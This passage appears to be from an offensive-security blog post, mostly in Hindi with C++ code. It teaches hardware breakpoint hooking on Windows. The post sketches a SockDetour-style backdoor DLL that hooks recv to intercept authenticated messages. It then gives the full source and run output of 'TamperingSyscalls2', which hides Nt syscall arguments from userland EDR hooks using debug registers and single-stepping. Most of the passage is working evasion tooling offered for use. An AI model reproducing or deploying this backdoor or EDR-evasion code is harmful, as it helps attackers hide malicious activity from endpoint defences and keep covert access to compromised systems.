(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x58)
);
CONTEXT context{ 0 };
context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
GetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),
&context);
for (auto& i : HWBP_ADDRESS_MAP) {
(&context.Dr0)[i.second.pos] = i.first;
context.Dr7 &= ~(3ull << (16 + 4 * i.second.pos));
context.Dr7 &= ~(3ull << (18 + 4 * i.second.pos));
context.Dr7 |= 1ull << (2 * i.second.pos);
}
SetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),
&context);
ResumeThread((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx));
ExceptionInfo->ContextRecord->Rax = status;
ExceptionInfo->ContextRecord->Rip =
FindRetAddr(ExceptionInfo->ContextRecord->Rip);
}) };
Sleep(1000000);
for (unsigned int i = 0; i < 2; ++i) {
HANDLE t = CreateThread(NULL, 0, TestThread, NULL, 0, NULL);
if (t) WaitForSingleObject(t, INFINITE);
}
if (handler) RemoveVectoredExceptionHandler(handler);
}
////////////////////////////////////////////////////////////////////////////////////////// /* EOF */ //////////////////////////////////////////////////////////////////////////////////////////
सिद्धांत को लागू करके एक बहुमुखी हार्डवेयर ब्रेकपॉइंट हुकिंग इंजन बनाने के बाद, हम पिछले उदाहरणों में दिखाए गए अनुसार डीबग रजिस्टरों और PAGE_GUARDs के मिश्रण का उपयोग करना जारी रखेंगे, ताकि C++ में DLL के रूप में SockDetour [3] से प्रेरित एक बैकडोर लागू किया जा सके। हम इस कार्य को पूरा करने के लिए recv फ़ंक्शन पर एक हार्डवेयर ब्रेकपॉइंट सेट करेंगे और संबंधित लैम्ब्डा में आवश्यक तर्क का निर्माण करेंगे। हम NtCreateThreadEx पर एक PAGE_GUARD भी लागू करेंगे और सही डीबग रजिस्टर सेट करने के लिए थ्रेड को निलंबित अवस्था में बनाने की अपनी पिछली तकनीक का उपयोग करेंगे।
PAGE_GUARD हुकों की धीमी प्रकृति के बावजूद, यह कोई समस्या नहीं होनी चाहिए जब तक कि सर्वर मॉडल प्रत्येक अनुरोध के लिए एक नया थ्रेड नहीं बनाता, जिससे अल्प प्रदर्शन होता है। अधिकांश नेटवर्किंग सर्वर मॉडल थ्रेड्स का एक पूल बनाए रखते हैं जो प्रोग्राम के प्रारंभ में शुरू और प्रारंभ किए जाते हैं। इन सर्वर मॉडलों की अधिक जानकारी के लिए, Microsoft Github [4] पर विभिन्न उदाहरण प्रदान करता है; IOCP उदाहरण यह देखने के लिए एक उत्कृष्ट उदाहरण है कि एक प्रदर्शनकारी, स्केलेबल सर्वर मॉडल कैसा दिखता है।
आपके बैकडोर की शुरुआत इस प्रकार दिख सकती है:
HWBP recv_hook{ (uintptr_t)GetProcAddress((LoadLibrary(L"WS2_32.dll"),
GetModuleHandle(L"WS2_32.dll")),"recv"), 3,
([&](PEXCEPTION_POINTERS ExceptionInfo) {
for (auto& i : ADDRESS_MAP) {
if (i.first == ExceptionInfo->ContextRecord->Rip) {
SetHWBP(GetCurrentThread(), i.first, i.second.pos, false);
}
}
char verbuf[9]{ 0 };
int verbuflen{ 9 }, recvlen{ 0 };
recvlen = recv(ExceptionInfo->ContextRecord->Rcx, verbuf,
verbuflen, MSG_PEEK);
BYTE TLS[] = { 0x17, 0x03, 0x03 };
if (recvlen >= 3) {
if ((memcmp(verbuf, TLS, 3) == 0))1
{
MSG_AUTH msg{ 0 };
// We'll peek like SockDetour as to not eat the message
recvlen = recv(ExceptionInfo->ContextRecord->Rcx, (char*)&msg,
sizeof(MSG_AUTH), MSG_PEEK);
// Authenticate and proceed
}
}
// Set corresponding Dr
for (auto& i : ADDRESS_MAP) {
if (i.first == ExceptionInfo->ContextRecord->Rip) {
SetHWBP(GetCurrentThread(), i.first, i.second.pos, true);
}
}
ExceptionInfo->ContextRecord->EFlags |= (1 << 16);
}) };
हम एक सामान्य x64 यूज़रलैंड एवेज़न तकनीक लागू करके समाप्त करेंगे, जो TamperingSyscalls से प्रेरित है, जो पहले दिखाए गए हार्डवेयर ब्रेकपॉइंट इंजन के उपयुक्त रूप से संशोधित संस्करण का उपयोग करती है ताकि किसी भी समय प्रति थ्रेड 4 तक Nt सिस्कॉल के 12 तक तर्क छिपाए जा सकें। ध्यान दें कि मैंने डीबग रजिस्टर सामग्री को सभी थ्रेड्स में प्रचारित नहीं करने का चयन किया, क्योंकि यह संभवतः अवांछनीय होगा (यदि चाहें तो SetHWBP को SetHWBPS से बदलें)।
मुझे यह वर्णन करने की आवश्यकता नहीं है कि यह वांछनीय और super EPIC क्यों होगा, न ही यूज़रलैंड हुकिंग में गहराई से जाने की आवश्यकता है, क्योंकि ये विषय हाथ में नहीं हैं या चिंता के नहीं हैं, और इन्हें कई बार गहराई से कवर किया जा चुका है [5]।
हम (address | ThreadID) को अद्वितीय कुंजी के रूप में उपयोग करके एक नया मैपिंग बनाते हैं, और मान एक संरचना होता है जिसमें फ़ंक्शन तर्क होते हैं। हम सिस्कॉल में प्रवेश करने पर अपने मैपिंग में एक नई प्रविष्टि बनाएंगे और रजिस्टरों और स्टैक में मानों को साफ़ कर देंगे।
हम यह दिखावा करने के लिए सिंगल-स्टेपिंग (ट्रैप फ्लैग के माध्यम से) का उपयोग करते हैं कि हमारे पास वास्तव में जितने डीबग रजिस्टर हैं, उससे अधिक हैं। हम ऐसा कर सकते हैं, बशर्ते हमें पता हो कि हमें विशिष्ट क्रियाएं कब और कहां करनी हैं।
जब हम अपने वांछित सिस्कॉल पते पर पहुँचते हैं, तो हम अपनी कुंजी से जुड़ी हैशमैप प्रविष्टि से अपने मानों को पुनर्स्थापित करते हैं। यह रजिस्टरों में स्टैक पर मौजूद मानों को लौटा देगा। फिर हम return निर्देश तक सिंगल-स्टेपिंग जारी रखते हैं, जहाँ हम सिंगल-स्टेपिंग रोक देंगे और आगे बढ़ेंगे!
यह अंततः हमें टाइपलेस हुकिंग की अनुमति देता है। इसके अलावा, प्रारंभ में, हमने निर्दिष्ट किया था कि हम केवल 12 तर्क छिपाएंगे, 4 रजिस्टरों से और 8 स्टैक से। यह "8" मान केवल मनमाना है लेकिन अनुशंसित है, और स्टैक पर अधिक मानों/तर्कों को छिपाने या बदलने से अवांछनीय व्यवहार उत्पन्न हो सकता है।
हमारा कॉल स्टैक पहले से ही एक उपयुक्त DLL से उत्पन्न होना चाहिए, और इस प्रकार आपको नेटिव फ़ंक्शंस को कॉल करने की आवश्यकता नहीं होनी चाहिए, और आप किसी भी DLL से उपयुक्त रैपर को कॉल कर सकते हैं, बशर्ते आप NTDLL में नेटिव फ़ंक्शन पते के साथ कंस्ट्रक्टर को कॉल करें।
यह सरल है और मैक्रो बदलकर प्राप्त किया जा सकता है:
#define STK_ARGS 8 // 12 - 4 = 8 - should cover most Nt functions.
उदाहरण में, हम इसे NtCreateThreadEx और NtCreateMutant के साथ काम करते हुए दिखाते हैं! सुनिश्चित करें कि आप प्रति थ्रेड केवल 4 डीबग रजिस्टरों का व्यक्तिगत रूप से उपयोग कर रहे हैं। एक बार जब आप किसी विशिष्ट फ़ंक्शन के साथ समाप्त हो जाते हैं, तो आप RemoveHWBPS विधि को कॉल करके संबद्ध डीबग रजिस्टर को मुक्त कर सकते हैं।
1. यदि (addr == entry.first) तो इसका मतलब है कि हम mov r10, rcx निर्देश पर हैं
- हम अपने तर्कों को कुंजी (TID | address) का उपयोग करके अपनी हैशमैप प्रविष्टि में संग्रहीत करते हैं
const auto key = (address + 0x12) | GetCurrentThreadId();
SYSCALL_MAP[key].Rcx = ExceptionInfo->ContextRecord->Rcx;
SYSCALL_MAP[key].Rdx = ExceptionInfo->ContextRecord->Rdx;
SYSCALL_MAP[key].R8 = ExceptionInfo->ContextRecord->R8;
SYSCALL_MAP[key].R9 = ExceptionInfo->ContextRecord->R9;
for (size_t idx = 0; idx < STK_ARGS; idx++)
{
const size_t offset = idx * 0x8 + 0x28;
SYSCALL_MAP[key].stk[idx] =
*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset);
}
- हम फिर इन तर्क मानों को 0 पर सेट करते हैं (कोई अन्य मनमाना मान हो सकता है)
ExceptionInfo->ContextRecord->Rcx = 0;
ExceptionInfo->ContextRecord->Rdx = 0;
ExceptionInfo->ContextRecord->R8 = 0;
ExceptionInfo->ContextRecord->R9 = 0;
// ...
- हम फिर बिट 16 में Resume Flag और बिट 8 में Trap Flag सेट करते हैं
- यह निष्पादन को हमेशा की तरह जारी रखेगा, केवल प्रदर्शन को न्यूनतम रूप से प्रभावित करेगा।
ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Resume Flag
ExceptionInfo->ContextRecord->EFlags |= (1 << 8); // Trap Flag
2. सिंगल-स्टेपिंग तब तक जारी रखें जब तक (addr == entry.second.sysc) न हो जाए
- अब हम syscall निर्देश पर हैं और किसी भी यूज़रलैंड हुक से आगे निकल चुके हैं
- हम पिछली (TID | address) लुकअप कुंजी का उपयोग करके अपने तर्कों को पुनर्स्थापित करते हैं।```c
auto const key = (address | GetCurrentThreadId());
// mov rcx, r10
ExceptionInfo->ContextRecord->R10 = SYSCALL_MAP[key].Rcx;
ExceptionInfo->ContextRecord->Rcx = SYSCALL_MAP[key].Rcx;
ExceptionInfo->ContextRecord->Rdx = SYSCALL_MAP[key].Rdx;
ExceptionInfo->ContextRecord->R8 = SYSCALL_MAP[key].R8;
ExceptionInfo->ContextRecord->R9 = SYSCALL_MAP[key].R9;
for (size_t idx = 0; idx < STK_ARGS; idx++)
{
const size_t offset = idx * 0x8 + 0x28;
*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) =
SYSCALL_MAP[key].stk[idx];
}
पहले वर्णित तकनीक लागू की गई है, जो अधिकांश नेटिव सिसकॉल्स के सभी तर्कों को छिपाने पर केंद्रित है! और इसलिए इस सुरुचिपूर्ण और सरल समाधान का आनंद लें जहाँ मैं डिबग प्रिंट स्टेटमेंट भी प्रदान करता हूँ, ताकि आप स्टैक और रजिस्टरों में किए गए परिवर्तनों और इसके पीछे की सोच प्रक्रियाओं को देख सकें।```C ////////////////////////////////////////////////////////////////////////////////////////// /* TamperingSyscalls2.cpp - @rad9800 / / C++ Generic x64 user-land evasion technique utilizing HWBP.cpp / / Hides up to 12 args of up to 4 NT calls per thread */ ////////////////////////////////////////////////////////////////////////////////////////// #include <windows.h>
#include <tlhelp32.h> #include
////////////////////////////////////////////////////////////////////////////////////////// /* Structs */ //////////////////////////////////////////////////////////////////////////////////////////
// 12 - 4 = 8 - should cover most Nt functions.
#define STK_ARGS 8 // Increase this value, works until ~100...
typedef struct { uintptr_t syscall_addr; // +0x12 uintptr_t return_addr; // +0x14 } ADDRESS_INFORMATION;
typedef struct { uintptr_t Rcx; // First uintptr_t Rdx; // Second uintptr_t R8; // Third uintptr_t R9; // Fourth uintptr_t stk[STK_ARGS]; // Stack args } FUNC_ARGS;
//////////////////////////////////////////////////////////////////////////////////////////
/* Macros /
//////////////////////////////////////////////////////////////////////////////////////////
#define PRINT_ARGS( State, ExceptionInfo )
printf("%s %d arguments and stack for 0x%p || TID : 0x%x\n",
State, (STK_ARGS + 4), (PVOID)address, GetCurrentThreadId());
printf("1:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->Rcx);
printf("2:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->Rdx);
printf("3:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->R8);
printf("4:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->R9);
for (UINT idx = 0; idx < STK_ARGS; idx++){
const size_t offset = idx * 0x8 + 0x28;
printf("%d:\t0x%p\n", (idx + 5), (PVOID)(PULONG64)
((ExceptionInfo)->ContextRecord->Rsp + offset));
}
////////////////////////////////////////////////////////////////////////////////////////// /* Globals */ ////////////////////////////////////////////////////////////////////////////////////////// std::unordered_map<uintptr_t, ADDRESS_INFORMATION> ADDRESS_MAP{ 0 }; // syscall opcode { 0x55 } address, func args in registers and stack std::unordered_map<uintptr_t, FUNC_ARGS> SYSCALL_MAP{ 0 };
////////////////////////////////////////////////////////////////////////////////////////// /* Functions */ ////////////////////////////////////////////////////////////////////////////////////////// VOID SetHWBP(const HANDLE thd, const uintptr_t address, const UINT pos, const bool init) { CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS }; GetThreadContext(thd, &context);
if (init) {
(&context.Dr0)[pos] = address;
context.Dr7 &= ~(3ull << (16 + 4 * pos));
context.Dr7 &= ~(3ull << (18 + 4 * pos));
context.Dr7 |= 1ull << (2 * pos);
}
else {
if ((&context.Dr0)[pos] == address) {
context.Dr7 &= ~(1ull << (2 * pos));
(&context.Dr0)[pos] = NULL;
}
}
SetThreadContext(thd, &context);
}
// Find our ret ROP gadget (pointer decay so need explicit size) uintptr_t FindRopAddress(const uintptr_t function, const BYTE* stub, const UINT size) { for (unsigned int i = 0; i < (unsigned int)25; i++) { // memcmp WILL be optimized if (memcmp((LPVOID)(function + i), stub, size) == 0) { return (function + i); } } return NULL; }
DWORD WINAPI TestThread(LPVOID lpParameter);
////////////////////////////////////////////////////////////////////////////////////////// /* Classes */ ////////////////////////////////////////////////////////////////////////////////////////// struct TS2_HWBP { private: const uintptr_t address; UINT pos; public: TS2_HWBP(const uintptr_t address, const UINT idx) : address{ address }, pos{ idx % 4 } { SetHWBP(GetCurrentThread(), address, pos, true);
BYTE syscop[] = { 0x0F, 0x05 };
ADDRESS_MAP[address].syscall_addr =
FindRopAddress(address, syscop, sizeof(syscop));
BYTE retnop[] = { 0xC3 };
ADDRESS_MAP[address].return_addr =
FindRopAddress(address, retnop, sizeof(retnop));
};
VOID RemoveHWBPS()
{
SetHWBP(GetCurrentThread(), address, pos, false);
}
~TS2_HWBP()
{
RemoveHWBPS();
}
};
////////////////////////////////////////////////////////////////////////////////////////// /* Exception Handler */ ////////////////////////////////////////////////////////////////////////////////////////// LONG WINAPI ExceptionHandler(const PEXCEPTION_POINTERS ExceptionInfo) { const auto address = ExceptionInfo->ContextRecord->Rip; if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) { for (const auto& [syscall_instr, ai] : ADDRESS_MAP) { // check we are inside valid syscall instructions if ((address >= syscall_instr) && (address <= ai.return_addr)) { printf("0x%p >= 0x%p\n", (PVOID)address, (PVOID)syscall_instr); printf("0x%p <= 0x%p\n", (PVOID)address, (PVOID)ai.return_addr);
if (address == syscall_instr) // mov r10, rcx
{
const auto key = (address + 0x12) | GetCurrentThreadId();
SYSCALL_MAP[key].Rcx = ExceptionInfo->ContextRecord->Rcx;
SYSCALL_MAP[key].Rdx = ExceptionInfo->ContextRecord->Rdx;
SYSCALL_MAP[key].R8 = ExceptionInfo->ContextRecord->R8;
SYSCALL_MAP[key].R9 = ExceptionInfo->ContextRecord->R9;
for (size_t idx = 0; idx < STK_ARGS; idx++)
{
const size_t offset = idx * 0x8 + 0x28;
SYSCALL_MAP[key].stk[idx] =
*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset);
}
PRINT_ARGS("HIDING", ExceptionInfo);
ExceptionInfo->ContextRecord->Rcx = 0;
ExceptionInfo->ContextRecord->Rdx = 0;
ExceptionInfo->ContextRecord->R8 = 0;
ExceptionInfo->ContextRecord->R9 = 0;
for (size_t idx = 0; idx < STK_ARGS; idx++)
{
const size_t offset = idx * 0x8 + 0x28;
*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) = 0ull;
}
PRINT_ARGS("HIDDEN", ExceptionInfo);
ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Resume Flag
}
else if (address == ai.syscall_addr)
{
auto const key = (address | GetCurrentThreadId());
// SSN in ExceptionInfo->ContextRecord->Rax
// mov rcx, r10
ExceptionInfo->ContextRecord->R10 = SYSCALL_MAP[key].Rcx;
ExceptionInfo->ContextRecord->Rcx = SYSCALL_MAP[key].Rcx;
ExceptionInfo->ContextRecord->Rdx = SYSCALL_MAP[key].Rdx;
ExceptionInfo->ContextRecord->R8 = SYSCALL_MAP[key].R8;
ExceptionInfo->ContextRecord->R9 = SYSCALL_MAP[key].R9;
for (size_t idx = 0; idx < STK_ARGS; idx++)
{
const size_t offset = idx * 0x8 + 0x28;
*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) =
SYSCALL_MAP[key].stk[idx];
}
PRINT_ARGS("RESTORED", ExceptionInfo);
SYSCALL_MAP.erase(key);
}
else if (address == ai.return_addr)
{
ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Resume Flag
return EXCEPTION_CONTINUE_EXECUTION;
}
ExceptionInfo->ContextRecord->EFlags |= (1 << 8); // Trap Flag
return EXCEPTION_CONTINUE_EXECUTION;
}
}
}
return EXCEPTION_CONTINUE_SEARCH;
}
////////////////////////////////////////////////////////////////////////////////////////// /* Entry */ ////////////////////////////////////////////////////////////////////////////////////////// int main() { const PVOID handler = AddVectoredExceptionHandler(1, ExceptionHandler);
TS2_HWBP TS2NtCreateThreadEx{
(uintptr_t)(GetProcAddress(GetModuleHandleW(L"NTDLL.dll"),
"NtCreateThreadEx")),
0
};
for (unsigned int i = 0; i < 2; ++i) {
HANDLE t = CreateThread(nullptr, 0, TestThread, nullptr, 0, nullptr);
if (t) WaitForSingleObject(t, INFINITE);
}
TS2NtCreateThreadEx.RemoveHWBPS();
if (handler != nullptr) RemoveVectoredExceptionHandler(handler);
}
DWORD WINAPI TestThread(LPVOID lpParameter) { UNREFERENCED_PARAMETER(lpParameter); printf("\n----TestThread----\n\n");
TS2_HWBP TS2NtCreateMutant{
(uintptr_t)(GetProcAddress(GetModuleHandleW(L"NTDLL.dll"),
"NtCreateMutant")),
0
};
HANDLE m = CreateMutexA(NULL, TRUE, "rad98");
if (m) CloseHandle(m);
return 0;
} ////////////////////////////////////////////////////////////////////////////////////////// /* EOF */ //////////////////////////////////////////////////////////////////////////////////////////
यहाँ एक उदाहरण आउटपुट है, जिसमें NtCreateThreadEx के लिए तर्क छिपाए जा रहे हैं।```
0x00007FFBDF485400 >= 0x00007FFBDF485400
0x00007FFBDF485400 <= 0x00007FFBDF485414
HIDING 12 arguments and stack for 0x00007FFBDF485400 || TID : 0x9ecc
1: 0x00000062618FF8D8
2: 0x00000000001FFFFF
3: 0x0000000000000000
4: 0xFFFFFFFFFFFFFFFF
5: 0x00007FF79FB01FA0
6: 0x0000000000000000
7: 0x0000000000000000
8: 0x0000000000000000
9: 0x0000000000000000
10: 0x0000000000000000
11: 0x00000062618FF9F0
12: 0x000001C700000000
HIDDEN 12 arguments and stack for 0x00007FFBDF485400 || TID : 0x9ecc
1: 0x0000000000000000
2: 0x0000000000000000
3: 0x0000000000000000
4: 0x0000000000000000
5: 0x0000000000000000
6: 0x0000000000000000
7: 0x0000000000000000
8: 0x0000000000000000
9: 0x0000000000000000
10: 0x0000000000000000
11: 0x0000000000000000
12: 0x0000000000000000
0x00007FFBDF485403 >= 0x00007FFBDF485400
0x00007FFBDF485403 <= 0x00007FFBDF485414
0x00007FFBDF485408 >= 0x00007FFBDF485400
0x00007FFBDF485408 <= 0x00007FFBDF485414
0x00007FFBDF485410 >= 0x00007FFBDF485400
0x00007FFBDF485410 <= 0x00007FFBDF485414
0x00007FFBDF485412 >= 0x00007FFBDF485400
0x00007FFBDF485412 <= 0x00007FFBDF485414
RESTORED 12 arguments and stack for 0x00007FFBDF485412 || TID : 0x9ecc
1: 0x00000062618FF8D8
2: 0x00000000001FFFFF
3: 0x0000000000000000
4: 0xFFFFFFFFFFFFFFFF
5: 0x00007FF79FB01FA0
6: 0x0000000000000000
7: 0x0000000000000000
8: 0x0000000000000000
9: 0x0000000000000000
10: 0x0000000000000000
11: 0x00000062618FF9F0
12: 0x000001C700000000
0x00007FFBDF485414 >= 0x00007FFBDF485400
0x00007FFBDF485414 <= 0x00007FFBDF485414
----TestThread----
[...]
TamperingSyscalls2 (Black Mass) - https://godbolt.org/z/4qrM6j9q7
TamperingSyscalls2 (updated) - https://godbolt.org/z/edf9v1Wj6
TamperingSyscalls2 (pure C) - https://godbolt.org/z/9va7YzEe9
साझा किया गया कोड अधिकांश syscalls के लिए काम करना चाहिए, हालाँकि उपयोग से पहले आपको परीक्षण करना चाहिए। प्रस्तुत कार्यों में एकमात्र प्रमुख सीमा हैशमैप्स पर निर्भरता है (std::unordered_map); यह आंतरिक रूप से विभिन्न नेटिव फ़ंक्शनों को अप्रत्यक्ष रूप से कॉल करेगा, जैसे NtAllocateVirtualMemory, जो हमें उन्हें हुक करने से रोकता है। इसे न्यूनतम प्रयास के साथ x86 पर काम करने के लिए पुनः उपयोग किया जा सकता है।
भविष्य में, आप लाइब्रेरीज़ को संशोधित कर सकते हैं ताकि सिंगल स्टेपिंग का उपयोग किया जा सके, जैसा कि अंतिम उदाहरण में दिखाया गया है। आपको यह जानने की आवश्यकता होगी कि आप सिंगल-स्टेपिंग कब रोकना चाहते हैं (एक पता या सीमा) और इसे उसी प्रकार करना होगा। इसका उपयोग PAGE_GUARD हुकिंग के लिए भी किया जा सकता है।
आप AddVectoredExceptionHandler को निम्न से भी बदल सकते हैं:
SetUnhandledExceptionFilter(ExceptionHandler);
संदर्भ:
[1] https://learn.microsoft.com/en-us/windows/win32/debug/using-a-vectored-exception-handler
[2] https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention
[3] https://unit42.paloaltonetworks.com/sockdetour/
[4] https://github.com/microsoft/Windows-classic-samples/tree/main/Samples/Win7Samples/netds/winsock/
[5] https://fool.ish.wtf/2022/08/tamperingsyscalls.html
[6] https://labs.withsecure.com/publications/spoofing-call-stacks-to-confuse-edrs
इन सबके साथ, मैं एक सकारात्मक नोट पर समाप्त करना चाहता हूँ; मुझे आशा है कि आपने हार्डवेयर ब्रेकपॉइंट्स की कच्ची अद्वितीय शक्ति को समझ लिया है!!!
jonas, hjonk, smelly, mez0 और बाकी पुराने साथियों को अभिवादन ;)```
.
. . :^.
!
^77^ :!7:!^.
.7!!
:!: :7^.
!. :! ...:^.
!7. .!^ !!!
7. ^7: .7.
.:^::. .7! !! !
....:::^!. !!: .7^ .!^
.:^:. :!!:.^!. .!7!^. ^7^:^~~~~~^:7.:::::^
^^?^. :!!!7
.^:
:^^:7. .77
::^^!!: :. -your mate!!^ .!^. ^^. rad
.!7~:::~!
!?^^.::^~~~777!. ^7. .^^:
^??^:.:::^~~~!!!7!!^. .!! .98. ...^~~~^:!7JY?^.:...:: :: .
.7JJ:^::::::^^!!?5: .?G5Y7!::^^::.... ... . ^!7.^:.:~ JBYJ~.
.:^7JJ777^^~~~~~^^^:^!~~~!7???J7
.^?5J!^~~~^^^:::^~~~~~^~~~~!!77??:.^::::....^::... .: ::7!.:^^::^^ ?B7:: .....
^^!!!^^!!77777~~~~!!!!777????!::..:.. . .^!!77^^ .:. ...^: . !B7. ~~::.^:
:. .^!?7:::^^^!!7??J?7!!!!7?7:::. ... .^!77!!!:. ..: J? ... .^
.^!J:^^^:::^^^7?YYYJ7!!..:. :^^^
.~~?:^^^^:^^^77?777!::^^ . . ....... .. .. ...:~~~!!!7!^7!:. .^:^777!7??7!!!^:: . . ....::..... .^~~~^^^
^^7^^!^^^^~~~:.:..^!:^^:7??7????7!!^:: . ... .......... .^!^^^^^J?7!~~^^^^
.!^..:^....:.^!7JYY5YJJ?77!:.^~ .. .:..!!:. .^::::.::^..: ... .... :5Y?7777~~~^
:!!!77???JJ?!^7^^^^~~~:..::^^:. :!^..:J?7~~^^^^^^
:..!!.^!!!^.::::... ^7JJJ??777!!!!!!~~~^. .......^^^ ...!J?77!!77?7!~
^7!::!!^:..:^::.. .^...^!77????77!~~~~^^!?!. . .. .::..:. .^7Y5YYYJ???!!
^?7::^^!. :::::. :: ... .....::::^^^!!!^. ....:!?^:::.... ..:::::~~~~: ... .^:::::...... ......... :!: !77!!^!!!!~~~~~~:. .. ...:... .....:^^^:^::: ^JYYY?!~~
^!!: . . .. ..... .:..:^^::::.. .?Y?!!!!~
:!^. . . . . ......:::.. . ^7!7?7~~